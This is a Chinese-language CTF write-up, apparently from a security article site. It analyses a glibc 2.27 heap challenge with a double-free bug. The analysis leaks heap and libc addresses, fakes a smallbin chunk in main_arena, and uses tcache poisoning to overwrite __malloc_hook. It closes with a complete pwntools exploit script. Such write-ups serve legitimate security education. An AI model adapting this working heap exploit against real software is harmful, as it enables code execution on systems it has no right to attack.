- 2018 铁三东北赛区之 aleph1 rbp 栈迁移
- return to dl resolve 利用 i386 roputils 库
- 提权读写空指针 利用中断门提权并挂载物理页
- RCTF2015 之 welpwn 64位构造 ROP 过掉 00 截断
- XDCTF2015 之 pwn200 DynELF 实现无 libc 利用
- pwnable.tw 之 hacknote uaf 利用
- pwnable.kr 之 unlink 堆还是栈?
- pwnable.kr 之 uaf 虚表利用
- 360 春秋杯之 smallest SROP 利用
- 网鼎杯 Pwn 之 GUESS ssp leak + environ 泄露
- 32 位 fmtstr 漏洞利用 记一 32 位格式化字符串漏洞利用
- 网鼎杯 Pwn 之 babyheap unlink+uaf+fastbin attack
- 网鼎杯 Pwn 之 blind _IO_FILE 利用
- 网鼎杯 Pwn 之 pesp 多方法解题
- House of orange 无 free 的堆利用
- 2018 湖湘杯 Reverse 之 Replace
- 南邮 NCTF 2018 之 smallbug2
- 铁三 2018 全国总决赛之 littlenote
- 铁三 2018 全国总决赛之 bookstore
- 铁三 2018 全国总决赛之 myhouse
- pwnable.tw 之 un3xp10itabl3
- pwnable.tw 之 D3-a5lr
- NCTF 2018 之 homura
- 2019 西湖论剑 writeup
- 2019 强网杯 writeup 之 PWN+Reverse 部分
- 西湖论剑线下个人赛 writeup pwn 部分
- 关于 smallbin 的利用
- 春秋杯网络安全公益联赛 BFnote 出题小结
- easy_unicorn 基于 unicorn 的沙盒逃逸
- Kernel Pwn gnote - TokyoWesterns CTF 2019
文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
关于 smallbin 的利用
最近刷了道有意思的pwn,做个记录分享一下
程序逻辑
Add 函数
unsigned __int64 sub_1340()
{
unsigned int v1; // [rsp+4h] [rbp-1Ch]
size_t length; // [rsp+8h] [rbp-18h]
__int64 price; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_1302();
printf("What item do you want to buy: ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 3 )
{
printf("How many: ");
__isoc99_scanf("%lu", &price);
printf("How long is your note: ");
__isoc99_scanf("%d", &length);
if ( (unsigned int)length <= 0x100 )
{
for ( HIDWORD(length) = 0; SHIDWORD(length) <= 47 && qword_4080[SHIDWORD(length)]; ++HIDWORD(length) )
;
if ( HIDWORD(length) != 48 )
{
qword_4080[SHIDWORD(length)] = (char *)malloc((unsigned int)(length + 40));
strcpy(qword_4080[SHIDWORD(length)], (&str_name)[v1]);
printf("Content: ");
read(0, qword_4080[SHIDWORD(length)] + 32, (unsigned int)length);
*(_QWORD *)&qword_4080[SHIDWORD(length)][(unsigned int)length + 32] = price;
puts("Done!");
}
}
}
return __readfsqword(0x28u) ^ v4;
}
Show 函数
**int sub_1532()
{
char *v0; // rax
char *v1; // rax
char *v2; // rsi
signed int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 47; ++i )
{
v0 = qword_4080[i];
if ( v0 )
{
v1 = qword_4080[i];
v2 = qword_4080[i];
LODWORD(v0) = printf("Name: %s, Note: %s\n");
}
}
return (signed int)v0;
}
Delete 函数
unsigned __int64 sub_1252()
{
int idx; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Which item are you going to pay for: ");
__isoc99_scanf("%d", &idx);
if ( idx >= 0 && idx <= 48 && qword_4080[idx] )
free(qword_4080[idx]);
else
puts("No such item");
return __readfsqword(0x28u) ^ v2;
}
漏洞点明显在Delete函数,free时没有将存放chunk的数组置零,造成double free
利用思路
泄露libc,heap地址后,可以利用double free来攻击,但是我们每次分配到chunk时,只能从chunk_mem的0x20字节偏移处开始写数据,并不能覆盖到每个chunk的fd指针,所以直接利用double free来实现任意地址分配是不行的。
此题是在glibc2.27环境,tcache可以将一个大的chunk放入它的链表,通过double free,可以让这个大chunk同时存在于unsorted bin与tcache链表中;这时通过大chunk中残留的main_arena值,分配到main_arena,覆盖smallbin[3](也就是管理大小为0x50的一个链表结构)为一个可控的fake_chunk(该fake_chunk的大小为0x41,且里面的fd与bk指针要指向smallbin[3]的chunk头),再分配到这个0x50大小的chunk以此来构造overlap chunk(由于写入数据时main_arena的top指针会被覆盖成商品名称,所以后期不能从top_chunk分配,之前就要构造好chunk结构),最后利用tcache poisoning覆盖到malloc_hook与realloc_hook
EXP
from pwn import *
#context.log_level = 'debug'
p = process('./amazon')
#p=remote("121.41.38.38",9999)
libc=ELF("./libc-2.27.so")
def g(p,data=False):
gdb.attach(p,data)
raw_input()
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def rl():
return p.recvline()
def re(x):
return p.recv(x)
def add(idx,price,length,data):
ru("Your choice: ")
sl(str(1))
ru("uy: ")
sl(str(idx))
ru("many: ")
sl(str(price))
ru("note: ")
sl(str(length))
ru("tent: ")
se(data)
def add2(idx,price,length):
ru("Your choice: ")
sl(str(1))
ru("uy: ")
sl(str(idx))
ru("many: ")
sl(str(price))
ru("note: ")
sl(str(length))
def show():
ru("Your choice: ")
sl(str(2))
def free(idx):
ru("Your choice: ")
sl(str(3))
ru("for: ")
sl(str(idx))
add(1,0x10,0x90,"1"*8) #chunk0 (leak_main_arena)
add(1,0x10,0x80,p64(0)) #chunk1 (There's a fake chunk in it.)
free(1)
add(1,0x10,0x30,"3"*8) #chunk2 (dotcache poisoning) ## chunk1 can overflow to chunk2
free(2)
add(1,0x10,0x20,"4"*8)
add(1,0x10,0x20,"2"*8)
free(0)
free(0)
show()
ru("Name: ")
heap=u64(re(6).ljust(8,"\x00"))-0x260
print hex(heap)
for i in range(6):
free(0)
show()
ru("Name: ")
lib=u64(re(6).ljust(8,"\x00"))-0x3ebca0
print hex(lib)
hook=libc.symbols["__malloc_hook"]
hook=lib+hook
print hex(hook)
one=lib+0x10a38c
realloc=lib+libc.symbols["realloc"]
add(1,0x10,0x80,"y"*0x60+p64(0)+p64(0x51)+p64(lib+0x3ebce0)*2) # malloc to chunk1 (set fake_chunk and its fd bk -> small bin[3]_head)
add(1,0x10,0x90,"1"*8) # malloc padding
add(1,0x10,0x90,p64(lib+0x3ebcb0)*2+p64(lib+0x3ebcc0)*2+p64(lib+0x3ebcd0)*2+p64(heap+0x340+0x60)*2) ## malloc to main_arena to modify smallbin[3] to fake_chunk
add(1,0x10,0x20,p64(hook-0x28)) ## malloc to fake_chunk, edit,and overflow to chunk2
add(1,0x10,0x30,"wwe")
add(1,0x10,0x30,p64(one)+p64(realloc+0x9))
add2(1,1,0x60)
p.interactive()
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论